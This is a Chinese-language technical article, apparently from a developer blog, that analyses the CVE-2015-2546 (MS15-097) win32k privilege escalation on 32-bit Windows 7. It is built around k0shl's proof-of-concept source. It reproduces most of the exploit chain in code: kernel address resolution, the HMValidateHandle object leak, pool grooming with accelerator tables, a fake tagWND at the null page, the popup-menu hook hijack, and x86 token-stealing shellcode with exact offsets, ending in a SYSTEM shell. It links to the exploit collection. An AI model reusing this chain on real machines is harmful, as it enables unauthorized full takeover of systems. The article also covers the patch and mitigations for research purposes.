ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

MS15-097 本地提权漏洞(CVE-2015-2546)利用原理与实战解析:基于 k0shl 攻击原型的源码级解读

MS15-097 本地提权漏洞(CVE-2015-2546)利用原理与实战解析:基于 k0shl 攻击原型的源码级解读 网络安全渗透测试【免费下载链接】windows-kernel-exploitswindows-kernel-exploits Windows平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits点击查看免费下载MS15-097对应 CVE-2015-2546微软安全公告 MS15-097 目录下收录了该漏洞的完整利用工程包括 k0shl 的 32 位 PoC 源码、预编译的 POC/注入 DLL 与安全公告 KB 补丁包。本文将以这些仓库素材为骨架逐段拆解 CVE-2015-2546 的攻击面、内核对象操控手法与提权载荷帮助读者理解此类用户态对象越界 内核写原语型提权漏洞的完整链路。适用范围与前置说明本目录下的_CVE_2015_2546_exp.cpp是 32 位x86利用源码明确检测PROCESSOR_ARCHITECTURE_AMD64并直接退出因此仅适用于 32 位 Windows 7 环境38198/Poc_NtUserGetClipboardAccessToken_SecurityBypass.exe是 WinDbg 公开编号 38198 的 POC 二进制配合injected.dll使用。本文讨论的技术仅限安全研究与授权测试场景。1 仓库素材总览一个漏洞三份资产路径类型说明exp/_CVE_2015_2546_exp.cpp源码k0shl 编写的 32 位 PoC629 行含完整漏洞利用链exp/README.md文档作者出处说明360 安全客文章与个人博客38198/Poc_NtUserGetClipboardAccessToken_SecurityBypass.exe二进制配套injected.dll的 POC 程序MS15-097-KB3079904-CVE-2015-2527.zip补丁包微软 KB3079904 安全更新修复本公告涉及漏洞注意MS15-097公告编号对应的主漏洞为 CVE-2015-2517而仓库同时收录了与之同月公开的 CVE-2015-2546 利用后者属于 MS15-097 公告范围内的另一个漏洞。两处均与公告及 KB3079904 补丁对应仓库在 MS15-097 页面统一陈列。2 漏洞机理tagWND内核对象中的bServerSideWindowProc从源码结构看exp/_CVE_2015_2546_exp.cppCVE-2015-2546 的核心成因位于窗口管理器win32k!的用户句柄表与tagWND结构_THRDESKHEADpSelf指向内核态地址是窗口对象在用户态/内核态共享头源码对其的完整定义如下typedef struct _THRDESKHEAD { THROBJHEAD h; PVOID rpdesk; PVOID pSelf; // points to the kernel mode address } THRDESKHEAD, *PTHRDESKHEAD;漏洞本质tagWND结构中的bServerSideWindowProc标志位被错误清除后窗口过程指针lpfnWndProc会被当作服务器端窗口过程直接在内核上下文xxx*例程中调用。攻击者若能通过内核写原语篡改该标志位与lpfnWndProc即可实现内核任意代码执行。触发路径在 Win32k 的菜单管理代码中漏洞由TrackPopupMenu启动的弹出菜单处理流程触发利用者通过钩子消息MN_FINDMENUWINDOWFROMPODWORD0x1EB、MN_SELECTITEM0x1F0等系统消息诱导 win32k 对已被释放/替换的tagWND执行窗口过程调用。3 利用链全景从伪造句柄到令牌劫持源码main()将整个利用过程放入独立线程执行等待超时后清理并弹出 cmdPopShell核心分五步DWORD main(DWORD argc, char *argv[]) { InitExpVars() ; // 步骤 1解析内核基址与关键函数 HANDLE hThread CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0); if(WaitForSingleObject(hThread, 300000)) // 步骤 2-4在 ThreadProc 中完成堆喷射、伪造与触发 { TerminateThread(hThread, 0); PrintMsg(FAIL [%d]\n, GetLastError()) ; } PopShell(); // 步骤 5弹出 SYSTEM cmd.exe return 0 ; }3.1 步骤 1动态解析内核模块与导出函数InitExpVars利用通过ntdll.dll的ZwQuerySystemInformation(SystemModuleInformation)枚举内核模块源码中的GetKrnlNtBase匹配nt exe找到ntoskrnl.exe/ntkrnlpa.exe基址if(strstr(pModEntry-ImageName, nt) strstr(pModEntry-ImageName, exe)) { strcpy_s(szNtName, MAX_PATH, (char*)((ULONG_PTR)pModEntry-ImageName pModEntry-PathLength)) ; hModuleBase (HMODULE)(pModEntry-Base) ; break ; }随后用用户态映射基址 导出偏移的方式算出内核函数地址fpLookupProcessById (PLOOKUPPROCESSBYID)((ULONG_PTR)GetProcAddress(hUserNtBase, PsLookupProcessByProcessId) - (ULONG_PTR)hUserNtBase (ULONG_PTR)hKrnlNtBase) ;同时记录当前进程 PID 与 SYSTEM PID固定为4为后续令牌劫持做准备。3.2 步骤 2HMValidateHandle定位与对象信息泄露利用的关键在于获取内核对象地址。源码用IsMenu导出函数的代码段扫描0xE8call跳转来定位未导出的HMValidateHandleFindHMValidateHandlefor (unsigned int i 0; i 0x1000; i) { BYTE* test pIsMenu i; if (*test 0xE8) { uiHMValidateHandleOffset i 1; break; } } unsigned int addr *(unsigned int *)(pIsMenu uiHMValidateHandleOffset); unsigned int offset ((unsigned int)pIsMenu - (unsigned int)hUser32) addr; pHmValidateHandle (lHMValidateHandle)((ULONG_PTR)hUser32 offset 11); // 11 跳过 Windows 10 上的 padding得到HMValidateHandle后用它校验窗口句柄并直接读出内核tagWND头hWnd CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0); PTHRDESKHEAD tagWND (PTHRDESKHEAD)pHmValidateHandle(hWnd, 1); printf(tagWnd at :0x%.08x\n,tagWND);这一步本质是内核对象信息泄露HMValidateHandle返回指向共享区中THRDESKHEAD的指针攻击者由此获得句柄与内核对象的对应关系为后续伪造句柄表条目USER_HANDLE_ENTRY提供前提。源码随后从user32!gSharedInfo读出用户句柄表基址aheListPSHAREDINFO pSharedInfo (PSHAREDINFO)GetProcAddress(GetModuleHandle(user32.dll), gSharedInfo); PUSER_HANDLE_ENTRY gHandleTable pSharedInfo-aheList;3.3 步骤 3加速键表堆洞与tagWND内存布局伪造利用的核心思路是在 0 页NULL 附近布置一块可预测地址的内存伪装成tagWND使后续 win32k 代码把这块伪造对象当作真实窗口处理。首先批量创建/销毁加速键表CreateAcceleratorTable/DestroyAcceleratorTable制造池空洞让后续tagWND对象恰好落回该位置并记录每个句柄对应的内核地址for(int i0;i50;i) { hAccel[i] CreateAcceleratorTable(lpAccel,0x5); index LOWORD(hAccel[i]); Address gHandleTable[index]; pAcceleratorTable[i](PUCHAR)Address-pKernel; // 记录加速键表的内核地址 } for(int i2;i50;ii5) // 每隔 5 个释放一个制造洞 { DestroyAcceleratorTable(hAccel[i]); }随后InitExploitMem通过ZwAllocateVirtualMemory以MEM_TOP_DOWNPAGE_EXECUTE_READWRITE在 0 页附近申请0x2000字节并写入伪tagWND关键字段注释中标出相对0x5的偏移即_THRDESKHEAD的pSelf*(PVOID*)(0xD) pThreadInfo ; // 0x8 处填 tagTHREADINFO 指针 *(BYTE*) (0x1B) (BYTE)4; // 0x16 处设置 bServerSideWindowProc *(PVOID*)(0x65) (PVOID)TokenStealingShellcodeWin7; // 0x60 处填 lpfnWndProc 为 shellcode3.4 步骤 4弹出菜单触发与窗口过程劫持触发阶段使用SetWindowsHookExA(WH_CALLWNDPROC, ...)钩住WM_*消息捕获 win32k 内部发送的0x1EB/0x1F0/0x1E5菜单窗口定位、选择、创建等系统消息在回调WndProcHook中调用SetWindowLongA(GWL_WNDPROC, NewWndProc)将受害窗口的窗口过程替换为攻击者函数if(pWndProcArgs-message 0x1EB || pWndProcArgs-message 0x1F0 || pWndProcArgs-message 0x1E5) { lpPrevWndFunc (WNDPROC)SetWindowLongA(pWndProcArgs-hwnd, GWL_WNDPROC, (LONG)NewWndProc); }NewWndProc对0x1EB返回伪造窗口句柄hwnd2、对0x1F0销毁并重建加速键表、对0x1E5返回0x10——这些返回值会直接参与 win32k 菜单遍历逻辑最终引导内核把TrackPopupMenu关联的窗口过程调用引到第 3.3 步伪造的tagWND上使内核以服务器端窗口过程语义调用lpfnWndProc即TokenStealingShellcodeWin7。3.5 步骤 5令牌窃取 Shellcode 与命令执行shellcode 采用经典KPCR.CurrentThread - KTHREAD.ApcState.Process - EPROCESS遍历将 SYSTEM 进程PID 4的Token复制到当前进程实现提权mov eax, fs:[eax KTHREAD_OFFSET] ; KTHREAD_OFFSET0x124 mov eax, [eax EPROCESS_OFFSET] ; EPROCESS_OFFSET0x050 mov ebx, [eax TOKEN_OFFSET] ; TOKEN_OFFSET0x0F8 mov edx, SYSTEM_PID ; 4 SearchSystemPID: mov eax, [eax FLINK_OFFSET] ; FLINK_OFFSET0x0B8 sub eax, FLINK_OFFSET cmp [eax PID_OFFSET], edx ; PID_OFFSET0x0B4 jne SearchSystemPID mov edx, [eax TOKEN_OFFSET] mov [ecx TOKEN_OFFSET], edx ; 覆盖当前进程 Token末尾的PopShell()以CREATE_NEW_CONSOLE拉起cmd.exe即为提权后的交互 ShellCreateProcess(C:\\Windows\\System32\\cmd.exe, NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, si, pi);4 关键偏移速查表来自源码定义x86/Win7 环境符号偏移用途KTHREAD_OFFSET0x124nt!_KPCR.PcrbData.CurrentThreadEPROCESS_OFFSET0x050nt!_KTHREAD.ApcState.ProcessPID_OFFSET0x0B4nt!_EPROCESS.UniqueProcessIdFLINK_OFFSET0x0B8nt!_EPROCESS.ActiveProcessLinks.FlinkTOKEN_OFFSET0x0F8nt!_EPROCESS.TokenSYSTEM_PID0x4SYSTEM 进程 PID伪tagWND关键字段相对pSelf所在位置0x5的偏移内存偏移内容作用0x8pThreadInfotagTHREADINFO使伪造对象通过线程校验0x16bServerSideWindowProc 4触发服务器端窗口过程路径0x60TokenStealingShellcodeWin7劫持lpfnWndProc指向 shellcode5 修复与缓解补丁微软通过 KB3079904MS15-097-KB3079904-CVE-2015-2527.zip修复本公告覆盖漏洞对 CVE-2015-2546 而言补丁强化了 win32k 在菜单/窗口过程路径上对bServerSideWindowProc与句柄表的校验杜绝伪造服务器端窗口过程路径。缓解默认桌面会话权限提升受限时攻击者无法获得管理权限可应用微软受限管理员与 UAC 增强策略降低本地攻击面测试环境应及时更新至已修复版本。6 附复现与注意事项该 PoC 面向32 位 Windows 7含 SP1在 64 位系统上源码会打印System Is Not Win32并退出。编译 32 位 PoC 需链接user32.lib源码已#pragma comment(lib, user32.lib)建议在 VS2010 附近工具链以 x86 目标编译。38198/Poc_NtUserGetClipboardAccessToken_SecurityBypass.exe为另一独立 POCNtUserGetClipboardAccessToken 安全绕过需配合同目录injected.dll运行。仓库资源仅用于安全研究与授权渗透测试禁止用于非法用途。赞分享网络安全渗透测试【免费下载链接】windows-kernel-exploitswindows-kernel-exploits Windows平台提权漏洞集合项目地址https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits点击查看免费下载相关推荐MS15-001CVE-2015-0002Windows 内核令牌劫持提权漏洞分析与 AppCompatCache 利用实现MS15 001CVE 2015 0002Windows 内核令牌劫持提权漏洞分析与 AppCompatCache 利用实现 MS15 001CVE 2网络安全渗透测试Pillow 版本管理机制解析SemVer 语义化版本、季度发布与 .dev0 开发版标记Pillow 版本管理机制解析SemVer 语义化版本、季度发布与 .dev0 开发版标记 导读 Pillow 作为 Python 生态中最流行的图像处理库网络安全渗透测试CVE-2024-1086漏洞利用指南Linux本地提权漏洞的终极解析与防御策略CVE 2024 1086漏洞利用指南Linux本地提权漏洞的终极解析与防御策略 CVE 2024 1086是一个影响Linux内核的本地提权漏洞存在于v5上一篇告别指令地狱私服管理工具Grasscutter Tools的可视化革命下一篇如何5分钟快速恢复QQ空间历史数据GetQzonehistory完整指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表